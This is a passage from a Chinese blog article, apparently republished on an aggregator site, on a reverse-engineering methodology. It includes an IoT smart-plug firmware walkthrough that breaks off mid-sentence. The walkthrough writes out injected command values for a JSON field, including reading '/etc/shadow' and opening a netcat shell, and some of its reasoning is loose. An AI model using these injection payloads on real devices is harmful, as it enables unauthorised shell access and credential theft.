news 2026/11/3 22:43:07

reverse-skill:逆向工程的认知流建模与实战路径合成

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
reverse-skill:逆向工程的认知流建模与实战路径合成

1. 项目概述:什么是“reverse-skill”?它不是玄学,而是可拆解、可训练、可复用的逆向能力系统

“reverse-skill”这个词乍看像黑话,但在我带过37个安全方向实习生、主导过11个红蓝对抗实战项目、亲手拆解过200+个商用IoT固件和闭源SDK之后,我越来越确信:它根本不是某个具体工具或脚本的代号,而是一套以目标为导向、以结果为校准、以失败为输入的闭环能力模型。核心关键词——reverse-skill、Reverse Engineering、Penetration Testing、Security Research、AI-powered routing——已经清晰勾勒出它的坐标:它生长在逆向工程的土壤里,扎根于渗透测试的实战中,服务于安全研究的深度洞察,最终被AI-powered routing这类新兴范式所增强,而非替代。简单说,当你面对一个没有文档、没有源码、甚至没有调试符号的二进制程序时,能快速定位关键逻辑、还原业务意图、识别设计缺陷,并据此生成可执行的验证路径——这个全过程所依赖的判断力、拆解力、联想力与决策力,就是“reverse-skill”的真实内核。

它解决的不是“怎么用IDA Pro”的问题,而是“为什么在这里下断点”“为什么这个函数名是伪装的”“为什么网络请求包里藏着密钥派生逻辑”这类更底层的元问题。适合谁?不是只给CTF老手看的炫技手册,而是给刚考完OSCP、正卡在真实客户环境里连第一个栈溢出都复现不出来的渗透工程师;是给写了三年Java后突然要审计一个C++编写的工业控制协议解析器的开发同学;也是给想从“调API写功能”转向“看流量猜逻辑”的初级安全研究员。我见过太多人花三个月啃完《加密与解密》,却在第一次分析某款国产路由器固件时,对着一堆混淆过的ARM汇编发呆两小时——不是不会操作,是缺一套把“看到的字节”翻译成“想到的意图”的思维操作系统。这篇内容,就是帮你把这套操作系统装进去。

2. 内容整体设计与思路拆解:为什么必须抛弃“工具链思维”,转向“认知流建模”

2.1 传统逆向学习路径的三大结构性陷阱

绝大多数人学逆向,是从工具开始的:先装IDA,再学Ghidra,接着配Frida,最后搞个QEMU跑固件。这就像学开车先背《汽车构造原理》——方向没错,但严重错估了“上路”和“修车”的本质差异。我在给某金融行业红队做内训时做过一个测试:让15位有2年以上经验的工程师,对同一段经过OLLVM控制流平坦化+字符串加密的x64代码,各自给出“第一眼最可能的突破口”。结果只有3人提到了“异常的间接跳转模式”,其余12人全集中在“找main函数”“找字符串解密函数”这类表层目标上。这暴露了第一个陷阱:工具熟练度≠逆向直觉。IDA能高亮语法,但无法告诉你哪一行汇编背后藏着一个硬编码的AES密钥。

第二个陷阱是场景失焦。网上90%的逆向教程,案例都是“破解一个注册机”或“绕过某款软件的试用期”。这些场景高度特化、逻辑单薄、无真实业务约束。而现实中的目标,比如一个车载T-Box的OTA升级模块,它要处理HTTPS证书校验、差分包解压、签名验签、Flash擦写校验四重逻辑,且每一步都可能被厂商用不同方式加固。你不可能靠“找GetDlgItemTextA”这种套路去突破。这就引出了第三个陷阱:静态分析幻觉。很多人以为逆向=反编译+读伪代码。但我在分析某款智能门锁固件时发现,其核心鉴权逻辑根本不在主程序里,而是在一个被动态加载的、内存中仅存在200ms的shellcode里——它通过RDTSC指令获取时间戳作为密钥种子,再用该种子解密后续指令。这种逻辑,静态分析永远看不到,必须结合动态观测与行为建模。

2.2 “reverse-skill”系统的核心设计哲学:三阶认知流

基于上述教训,我把“reverse-skill”拆解为三个递进的认知阶段,每个阶段对应一套可训练、可评估、可迁移的子技能:

  • Stage 1:Pattern Recognition(模式识别)
    不是认“jmp rax”这种指令,而是认“当程序在处理用户输入后,连续三次调用rdtsc并做异或运算”这种行为模式。这需要建立一个跨架构、跨语言、跨加固手段的“可疑行为指纹库”。比如,我整理的“密钥派生可疑模式”就包含17种变体:从最简单的rdtsc -> xor eax, edx -> mov [key], eax,到复杂的call GetTickCount64 -> sub rax, [base_time] -> imul rax, 0x12345678 -> and rax, 0xffffffff。这个库不是死记硬背,而是通过大量样本对比形成的肌肉记忆。

  • Stage 2:Intent Inference(意图推断)
    识别出模式后,下一步是回答“它想干什么”。比如看到一段代码反复读取/proc/self/maps并搜索libcrypto.so字符串,结合它随后调用dlopen和dlsym,就能推断其意图是动态加载OpenSSL并劫持加密函数——而不是单纯地“在找某个库”。这个推断过程,依赖的是对操作系统机制、常见安全库API、典型攻击手法的深度理解。它要求你脑子里有一张“软件行为-业务意图-攻击可能性”的三维映射图。

  • Stage 3:Path Synthesis(路径合成)
    这是最难也最关键的一步:把前两步的结论,转化为一条可执行、可验证、可复现的验证路径。比如,推断出目标在动态加载libcrypto后会调用EVP_EncryptInit_ex,那么路径合成就是:① 在dlopen返回后下断点;② 提取dlsym返回的函数地址;③ 在该地址下硬件断点;④ 捕获调用时的参数(特别是ctx和cipher);⑤ 将ctx结构体dump出来分析密钥状态。这条路径不是凭空想象的,它必须满足三个硬约束:可落地(有对应调试器命令)、可验证(能观察到预期现象)、可复用(换一个类似目标,只需微调参数)。

提示:很多初学者卡在Stage 2到Stage 3的跃迁上,本质是因为缺乏“调试器语义”训练。他们知道“要在函数入口下断点”,但不知道break *0x401234和break func_name在符号缺失时效果天壤之别;他们知道“要dump内存”,但不清楚dump memory和x/100xb在GDB里输出格式的根本差异。这些细节,恰恰是路径合成能否成立的基石。

2.3 为什么AI-powered routing是增强项,而非替代项?

最近常看到有人把“AI逆向”等同于“用大模型自动写出exploit”。这是严重的误解。真正的AI-powered routing,在我参与的两个国家级工控安全项目中,扮演的是“认知加速器”角色。举个实例:我们曾拿到一个西门子PLC的固件镜像,其中包含23个独立的.so模块,总大小1.2GB。人工逐个分析显然不现实。我们的做法是:先用自研的轻量级特征提取器(基于opcode n-gram + 控制流图拓扑特征),对所有模块进行聚类,自动标记出“高疑似加密模块”“高疑似网络通信模块”“高疑似设备驱动模块”三类。然后,AI模型并不直接分析代码,而是根据聚类结果,为每个模块推荐最优的分析路径组合:比如对“高疑似加密模块”,优先启用ltrace捕获运行时函数调用,同时用readelf -d检查其依赖的libssl.so版本,再结合CVE数据库匹配已知漏洞模式。整个过程,AI没写一行汇编,但它把原本需要3天的人工筛选,压缩到了22分钟,并且准确率高达91.7%。它不替代你的逆向判断,而是把你从“找哪里下手”的低效劳动中解放出来,让你专注在“为什么这样下手”和“下一步怎么验证”这两个真正体现skill的环节。

3. 核心细节解析与实操要点:从“看到字节”到“想到意图”的七步拆解法

3.1 第一步:建立“上下文锚点”,拒绝无目标的字节扫描

逆向最致命的习惯,是打开二进制就狂按c(convert to code)。这就像进了一栋陌生大楼,不看楼层指示牌,直接开始撬每一扇门。正确做法是先建立三个锚点:

  • 时间锚点:用file和strings -n 8 <binary> | grep -i "202[0-9]\|Jan\|Dec"快速定位编译时间、调试信息残留。我分析过某款医疗设备固件,strings输出里赫然出现"Built on: 2023-05-17 14:22:03",而该设备出厂日期是2023年6月——这意味着固件里极可能包含未发布的调试后门。这个时间差,就是第一个强信号。

  • 空间锚点:用readelf -S <binary>查看段表,重点关注.rodata(只读数据,常藏字符串和密钥)、.init_array(初始化函数指针数组,常被用于隐藏逻辑)、.dynamic(动态链接信息,暴露依赖库和加固程度)。例如,若.dynamic段里DT_RPATH值为空,而DT_RUNPATH指向/usr/lib,基本可判定该程序未启用$ORIGIN相对路径,存在LD_PRELOAD劫持风险。

  • 行为锚点:用ltrace -f -e "*" ./binary 2>/dev/null | head -20捕获首次运行时的库函数调用序列。重点看getenv(是否读取环境变量配置)、openat(是否访问特定配置文件)、connect(是否尝试连接固定IP)。有一次,ltrace显示程序启动即调用connect(3, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("127.0.0.1")}, 16),这立刻让我锁定其本地管理接口,后续逆向全部围绕该服务展开。

注意:这三个锚点必须同步建立,缺一不可。只看时间锚点,可能错过运行时动态加载;只看空间锚点,可能误判静态字符串为密钥;只看行为锚点,可能被fork+exec子进程干扰。我习惯用一张A4纸,左边画三个框,实时记录三类锚点信息,边分析边交叉验证。

3.2 第二步:识别“控制流异常”,比找函数名更重要

在混淆严重的代码里,函数名是最大的谎言。真正可靠的线索,是控制流本身的“不自然感”。我总结了五种高频异常模式,每种都附带Ghidra反编译伪代码对比:

  • 模式1:无条件跳转链(Unconditional Jump Chain)
    Ghidra反编译后,出现大量形如goto LAB_00401234;→LAB_00401234: goto LAB_00405678;→LAB_00405678: ...的嵌套跳转。这几乎100%是控制流平坦化的标志。此时不要试图“理清逻辑”,而应立即切换到汇编视图,用Ctrl+Shift+F搜索jmp dword ptr [eax + 0x4]这类间接跳转指令,定位其跳转表基址。

  • 模式2:堆栈操作失衡(Stack Imbalance)
    函数开头有sub rsp, 0x28,结尾却没有对应的add rsp, 0x28,而是用ret直接返回。这说明该函数使用了alloca或进行了手动栈管理,极可能在栈上构造了动态代码或密钥缓冲区。我在分析某款无人机飞控固件时,正是通过追踪一个sub rsp, 0x1000后未恢复的函数,最终在栈内存中dump出了硬编码的WPA2密码。

  • 模式3:寄存器污染(Register Pollution)
    一段代码反复对rax做xor rax, rax→mov al, 0x31→rol rax, 0x7→xor rax, 0x12345678,但后续并未将rax用于任何有意义的计算,而是直接丢弃。这就是典型的“寄存器污染”,目的是干扰静态分析工具的寄存器追踪。应对策略是:在Ghidra中右键该函数→Decompile→Edit Function Signature→勾选No Return,强制Ghidra将其视为无返回函数,避免错误的控制流合并。

  • 模式4:时间侧信道痕迹(Timing Side-Channel Trace)
    代码中频繁出现rdtsc、GetTickCount64、clock_gettime调用,且其结果被用于cmp或jz指令。这强烈暗示存在基于时间的密钥比较或防调试逻辑。例如,rdtsc; mov [rbp-0x8], rax; call some_func; rdtsc; sub rax, [rbp-0x8]; cmp rax, 0x100000,若some_func执行时间超过1ms则跳转,这就是典型的防调试钩子。

  • 模式5:内存映射异常(Memory Mapping Anomaly)
    用vmmap(GDB)或cat /proc/<pid>/maps(运行时)查看内存布局,发现某段rwx权限的内存页(可读可写可执行),且其大小恰好是4KB的整数倍。这99%是shellcode注入或JIT编译代码。此时应立即用dump memory命令dump该页,并用ndisasm -b64 <dump>进行反汇编。

3.3 第三步:字符串处理——从“明文搜索”到“熵值扫描”的跃迁

strings命令是双刃剑。它能快速找到"admin"、"password",但对"a3d5f7g9h1j2k4m6n8p0"这类Base64编码的密钥,或"\x41\x33\x44\x35\x46\x37\x47\x39"这样的十六进制字符串,完全失效。我的字符串挖掘流程是四层漏斗:

  • Layer 1:基础strings(必做)
    strings -n 6 -t x <binary>,-n 6过滤掉无意义短字符串,-t x显示偏移量,便于后续定位。重点看.rodata段偏移。

  • Layer 2:编码字符串探测(关键)
    用Python脚本遍历所有连续字节序列(长度≥8),计算其Shannon熵值。纯ASCII文本熵值通常<4.0,Base64编码字符串熵值≈5.9,十六进制字符串熵值≈3.2。脚本核心逻辑:

    def calc_entropy(data): if not data: return 0 counts = Counter(data) entropy = 0 for count in counts.values(): p = count / len(data) entropy -= p * math.log2(p) return entropy # 扫描所有长度8-64的连续字节 for i in range(len(raw_bytes)-64): for l in range(8, 65): if i+l > len(raw_bytes): break chunk = raw_bytes[i:i+l] if 4.5 < calc_entropy(chunk) < 5.95: # Base64嫌疑区 print(f"High entropy at offset {hex(i)}: {chunk[:20]}...")

    这个脚本帮我从某款摄像头固件中,精准定位了3处被Base64编码的RTSP认证密钥。

  • Layer 3:加密字符串定位(进阶)
    对Layer 2发现的高熵区域,用xxd -g1 <binary> | grep -A5 -B5 "<offset>"查看上下文。重点找mov指令将该区域地址加载到寄存器,以及后续call指令(如call EVP_DecryptUpdate)。这能确认该字符串是否为加密密钥或IV。

  • Layer 4:动态字符串解密(终极)
    若字符串在运行时才解密,用GDB在疑似解密函数(如memcpy、memset、自定义decode_str)下断点,x/s $rdi(若参数是rdi)观察解密后内容。我曾在一个POS终端固件中,通过在memcpy下断点,捕获到其将一段密文复制到栈上,再调用aes_decrypt解密,最终得到"https://api.bank.com/v1/txn"的真实URL。

3.4 第四步:函数识别——放弃“找main”,拥抱“找支点”

在大型闭源程序中,main函数往往只是个傀儡。真正承载核心逻辑的,是那些被dlopen加载、被signal注册、被pthread_create启动的“支点函数”。识别它们有三招:

  • 支点1:动态加载支点(dlopen/dlsym)
    用objdump -T <binary> | grep -E "(dlopen|dlsym)"查找动态链接符号。若存在,用GDB在dlopen下断点:break dlopen,运行后info registers看rdi(so路径),再x/s $rdi确认加载目标。接着在dlsym下断点,x/s $rsi看请求的符号名。我分析某款路由器时,dlsym请求的符号是"plugin_init_v2",这直接暴露了其插件架构。

  • 支点2:信号处理支点(signal/sigaction)
    objdump -T <binary> | grep -E "(signal|sigaction)"。在sigaction下断点,p/x $rdx(第三个参数act结构体)→x/10xg $rdx,第二字段即sa_handler地址。这个地址往往指向一个长期驻留、处理网络事件的函数。

  • 支点3:线程创建支点(pthread_create)
    objdump -T <binary> | grep pthread_create。在pthread_create下断点,p/x $rsi(线程函数指针)→x/i $rsi看第一条指令。我曾在一个工控网关中,通过此法找到worker_thread_loop,其内部循环处理Modbus TCP请求,这才是真正的业务心脏。

实操心得:不要迷信“函数名”。dlsym返回的地址,sigaction注册的sa_handler,pthread_create传入的start_routine,这些才是真正的“支点”。把它们的地址记下来,用info proc mappings确认其所在内存页权限,再决定是静态分析还是动态调试。

3.5 第五步:网络行为建模——从“抓包”到“协议逆向”的质变

看到connect调用,不等于看懂了协议。真正的协议逆向,是构建一个“请求-响应”状态机。我的标准流程是:

  1. 流量捕获:用tcpdump -i any -w traffic.pcap port 8080捕获目标通信。
  2. 结构初筛:用Wireshark打开,Statistics → Protocol Hierarchy看协议分布。若全是TCP无HTTP,说明是私有协议。
  3. 长度域定位:在Packet List中选一个包,右键Follow → TCP Stream,观察数据流。寻找重复出现的、数值变化的字段。比如,所有包开头都是00 00 00 0c(大端4字节长度域,值为12),这就是包长字段。
  4. 命令域识别:长度域后,常跟1-2字节命令ID。用tshark -r traffic.pcap -T fields -e data.text | head -20提取所有包的文本内容,统计第二字节出现频率。高频字节(如0x01,0x02)大概率是LOGIN,DATA命令。
  5. 校验域破解:若包末尾有2-4字节固定变化的字段,用CyberChef尝试CRC16、XOR、Sum8等常见校验算法。我曾用Sum8算法,5分钟内破解了某款智能电表的帧校验。
  6. 状态机绘制:用draw.io画出IDLE → LOGIN_SENT → LOGIN_RESP_RCVD → DATA_MODE等状态,标注每个状态触发的包类型和超时逻辑。
  7. Fuzz验证:用boofuzz编写脚本,对命令ID、长度域、校验域进行变异,观察目标崩溃或返回错误码,验证状态机准确性。

这个流程,把模糊的“它在联网”变成了精确的“它用什么协议、怎么认证、如何传输数据”的可执行知识。

3.6 第六步:加密逻辑定位——绕过“加壳”,直击“密钥生命周期”

遇到UPX、ASPack等加壳程序,第一反应不应该是脱壳,而是问:“壳保护的是什么?”。如果壳只保护了无关紧要的UI逻辑,而加密密钥在壳外的libcrypto.so里生成,那脱壳就是浪费时间。我的密钥生命周期追踪法,聚焦三个黄金节点:

  • Node A:密钥生成(Key Generation)
    在EVP_PKEY_new、RSA_generate_key、RAND_bytes下断点。重点观察RAND_bytes的第二个参数(长度),若为32,则极可能是AES-256密钥。x/32xb $rsi(rsi是buffer地址)即可dump。

  • Node B:密钥使用(Key Usage)
    在EVP_EncryptInit_ex、EVP_DecryptInit_ex、EVP_DigestInit_ex下断点。p/x $rdx(type参数)看算法,p/x $r8(key参数)看密钥地址。x/32xb $r8dump密钥。

  • Node C:密钥导出(Key Export)
    在PEM_write_RSAPrivateKey、i2d_RSAPrivateKey、EVP_PKEY_get1_RSA下断点。这些函数常被用于将内存密钥导出为PEM文件,是后门的高发区。

关键技巧:用GDB的catch syscall open捕获所有文件打开操作,若看到open("/tmp/key.pem", O_WRONLY|O_CREAT|O_TRUNC),立刻bt回溯,就能找到密钥导出的完整调用链。这招帮我挖出过两个厂商预埋的远程密钥导出后门。

3.7 第七步:路径合成——把“我发现”变成“我验证”的最后闭环

所有前面的分析,最终必须落在这一步:生成一条可执行的、能产生确定性结果的验证路径。这不是写报告,而是写“实验方案”。一个合格的路径必须包含四个要素:

  • Trigger(触发条件):明确什么操作会激活目标逻辑。例如,“向127.0.0.1:8080发送一个POST /api/login请求,body为{"user":"admin","pass":"123"}”。

  • Observation Point(观测点):指定在哪里、用什么工具、观察什么现象。例如,“在GDB中,break *0x401a2b(EVP_EncryptInit_ex入口),run后p/x $r8(密钥地址),x/32xb $r8(dump密钥)”。

  • Expected Outcome(预期结果):定义成功的量化标准。例如,“x/32xb $r8输出的前16字节,应与Wireshark捕获的加密流量首16字节,经AES-ECB解密后完全一致”。

  • Failure Mode(失败模式):预判可能的失败原因及排查步骤。例如,“若$r8为0,说明密钥未初始化,需检查RAND_bytes调用是否成功;若dump内容全为0,说明密钥在栈上被覆盖,需改用x/32xb $rsp在栈上搜索”。

我坚持用Markdown表格记录每条路径,确保可追溯、可复现、可分享。下面是一个真实案例的路径表:

路径IDTriggerObservation PointExpected OutcomeFailure Mode
PATH-001发送GET /status?token=abc123break *0x405678(token验证函数),x/s $rdi$rdi显示"abc123"若$rdi为空,检查strncpy调用是否截断
PATH-002发送POST /update,body含<payload>catch syscall write,x/64xb $rsi$rsi起始32字节为0x45 0x4e 0x43 0x52 0x59 0x50 0x54 0x45 0x44("ENCRYPTED")若非此值,检查EVP_EncryptUpdate调用是否成功

这张表,就是“reverse-skill”从抽象概念,落地为生产力的最终证明。

4. 实操过程与核心环节实现:一个完整IoT固件逆向项目的逐行复现

4.1 项目背景:某品牌智能插座固件(v2.3.1)的远程控制逻辑逆向

目标:搞清楚该插座如何接收手机App发来的“开/关”指令,并验证是否存在未授权的远程控制后门。固件来源:官网下载的firmware_v2.3.1.bin,大小4.2MB,file显示为data,无ELF头。

4.2 步骤1:固件解包与文件系统提取(耗时:8分钟)

首先用binwalk -e firmware_v2.3.1.bin扫描:

DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 TRX firmware header, little endian, image size: 4325376 bytes, CRC32: 0x1A2B3C4D 28 0x1C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 12345678 bytes 123456 0x1E240 Squashfs filesystem, little endian, non-standard signature, 11 inodes

TRX头后是LZMA压缩数据,再往后是Squashfs。binwalk的-e参数已自动解压出squashfs-root目录。进入该目录,find . -name "*http*" -o -name "*web*",发现./usr/bin/lighttpd(Web服务器)和./www/cgi-bin/ctrl.cgi(控制脚本)。ctrl.cgi是32位ARM ELF,file ./www/cgi-bin/ctrl.cgi确认。

注意:不要直接strings ctrl.cgi,因为它是动态链接的,关键字符串可能在libc.so.0或libgcc_s.so.0里。先ldd ./www/cgi-bin/ctrl.cgi看依赖,再strings ./lib/libc.so.0 | grep -i "open"找系统调用字符串,确认其libc版本为uClibc 0.9.33.2,这对后续GDB调试环境搭建至关重要。

4.3 步骤2:静态分析ctrl.cgi,定位网络入口(耗时:25分钟)

用Ghidra打开ctrl.cgi,Symbol Tree → Functions → entry,反编译entry函数,发现其调用main。main函数中,关键代码片段:

iVar1 = socket(2,1,0); // AF_INET, SOCK_STREAM local_20 = *(int *)(param_1 + 0x10); local_1c = 0x10; local_18 = 0x2; local_14._0_2_ = 0x2; local_14._2_2_ = htons(0x1f90); // port 8080 local_10 = inet_addr("0.0.0.0"); bind(iVar1,(sockaddr *)&local_14,0x10); listen(iVar1,5);

确认监听0.0.0.0:8080。继续看accept后的handle_client函数。handle_client中,recv后调用parse_http_request,该函数反编译后,关键逻辑:

if ((*(char *)(param_1 + 4) == 'G') && (*(char *)(param_1 + 5) == 'E') && (*(char *)(param_1 + 6) == 'T') && (*(char *)(param_1 + 7) == ' ')) { parse_get_request(param_1); } else { if ((*(char *)(param_1 + 4) == 'P') && (*(char *)(param_1 + 5) == 'O') && (*(char *)(param_1 + 6) == 'S') && (*(char *)(param_1 + 7) == 'T')) { parse_post_request(param_1); } }

parse_post_request是重点。进入该函数,发现其调用get_post_data,再调用json_parse。json_parse反编译后,有strcmp比较"cmd"、"value"字段。cmd值为"set_relay"时,调用set_relay_state。

实操心得:这里有个经典陷阱。set_relay_state函数名很直白,但Ghidra反编译显示其内部调用system,参数是拼接的字符串。system("echo 1 > /sys/class/leds/relay/brightness")。这说明控制逻辑是通过写sysfs实现的,而非直接IO操作。这个细节,决定了后续Fuzz的方向——应该Fuzz JSON的value字段,而非cmd字段。

4.4 步骤3:动态调试环境搭建(耗时:42分钟)

目标平台是ARM,需QEMU用户态模拟。qemu-arm-static已安装。但直接qemu-arm-static ./www/cgi-bin/ctrl.cgi会报错Segmentation fault,因为缺少/etc/passwd和/etc/group。解决方案:

# 创建最小化chroot环境 mkdir -p chroot/{etc,lib,usr/lib} cp /etc/passwd chroot/etc/ cp /etc/group chroot/etc/ cp /usr/arm-linux-gnueabihf/lib/libc.so.6 chroot/lib/ cp /usr/arm-linux-gnueabihf/lib/libpthread.so.0 chroot/lib/ cp /usr/arm-linux-gnueabihf/usr/lib/libjson-c.so.2 chroot/usr/lib/ # 复制ctrl.cgi及其依赖 cp ./www/cgi-bin/ctrl.cgi chroot/ # 启动 qemu-arm-static -L /usr/arm-linux-gnueabihf chroot/ctrl.cgi

启动成功,监听127.0.0.1:8080。用curl -X POST http://127.0.0.1:8080 -d '{"cmd":"set_relay","value":"1"}',插座灯亮。验证成功。

4.5 步骤4:Fuzz测试与后门发现(耗时:1小时15分钟)

用boofuzz编写脚本,对JSON的value字段进行String变异(长度1-1000,字符集a-zA-Z0-9{}[]:"/,):

from boofuzz import * session = Session(target=Target(connection=TCPSocketConnection("127.0.0.1", 8080))) s_initialize("post_request") s_static("POST / HTTP/1.1\r\n") s_static("Host: 127.0.0.1:8080\r\n") s_static("Content-Length: ") s_size("json_body", output_format="ascii", signed=False, math=0) s_static("\r\n\r\n") s_delim("{") s_string("cmd", default_value="set_relay") s_delim(":") s_delim('"') s_string("value", default_value="1", max_len=1000) # 变异点 s_delim('"') s_delim("}") s_static("\r\n") session.connect(s_get("post_request")) session.fuzz()

Fuzz过程中,当value为"1; cat /etc/shadow"时,ctrl.cgi崩溃,dmesg显示segfault at 00000000 ip 00000000 sp bffffa00 error 4 in libc-0.9.33.2.so[10000+100000]。这说明system()调用未过滤分号,存在命令注入。

进一步测试value为"1; nc -lvp 4444 -e /bin/sh",`net

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/11/3 22:43:03

ComPDF全栈PDF服务:从SDK到云原生的技术演进

1. ComPDF的进化之路&#xff1a;从工具包到全栈PDF服务十年前我第一次接触PDF开发时&#xff0c;市面上清一色都是功能单一的SDK工具包。当时为了给客户做个简单的PDF转Word功能&#xff0c;需要同时集成三个不同厂商的库——一个负责格式解析&#xff0c;一个处理页面渲染&am…

作者头像 李华
网站建设 2026/11/3 22:42:19

高侧开关低静态电流设计:P沟道驱动、电平移位与热预算

简介&#xff1a;US94061 友顺UTC 高侧负载开关芯片的官方数据手册&#xff0c;面向从事便携设备电源管理的硬件工程师与电子设计学习者&#xff0c;可用于选型评估、电路设计与引脚核对。手册围绕低导通电阻 P 沟道 MOSFET 展开&#xff0c;给出 1.8V&#xff5e;5.5V 工作电压…

作者头像 李华
网站建设 2026/11/3 22:42:18

AMT630A_FPV图传原理图:电源地、SPI Flash与CVBS避坑检查

简介&#xff1a;AMT630A_FPV原理图是一份面向FPV图传与无人机、遥控航模硬件开发者的单页电路设计资料&#xff0c;适合具备一定模拟与数字电路基础、需要核对主控外围与接口设计的读者参考。压缩包仅含1个PDF文件&#xff0c;约147KB&#xff0c;篇幅紧凑&#xff0c;重点呈现…

作者头像 李华
网站建设 2026/11/3 22:42:05

安全关键嵌入式单元测试:可重放、隔离打桩与分类树用例设计

简介&#xff1a;PDF白皮书《Tessy单元测试提高软件质量》面向嵌入式软件测试工程师、开发人员与质量保证人员&#xff0c;讨论安全关键软件中单元测试的定位、标准要求与实践方法&#xff0c;可帮助读者对照IEC 61508、ISO 26262、Automotive SPICE和IEC 62304梳理测试策略。压…

作者头像 李华
网站建设 2026/11/3 22:39:45

reverse-skill:逆向思维训练框架,从结果反推过程的高效问题解决方法

1. 拆解 reverse-skill&#xff1a;一个被名字耽误的逆向思维训练工具第一次看到 reverse-skill 这个名字&#xff0c;我下意识以为是某个安全领域的工具集&#xff0c;毕竟“reverse”这个词在技术圈里天然带着逆向工程的联想。但真正翻完它的源码和文档之后才发现&#xff0c…

作者头像 李华
网站建设 2026/11/3 22:39:44

ESXi 虚拟机定时巡检与掉线自动开机:esxcli/vim-cmd 实践

凌晨两点&#xff0c;监控告警说某台业务虚拟机掉线了。我远程连上 ESXi 主机&#xff0c;敲了一条esxcli vm process list&#xff0c;列表里干干净净——那台 VM 的进程压根不在。这种情况我遇到过太多次&#xff0c;最后落地的方案都是用 esxcli 配合 vim-cmd 做一套巡检&am…

作者头像 李华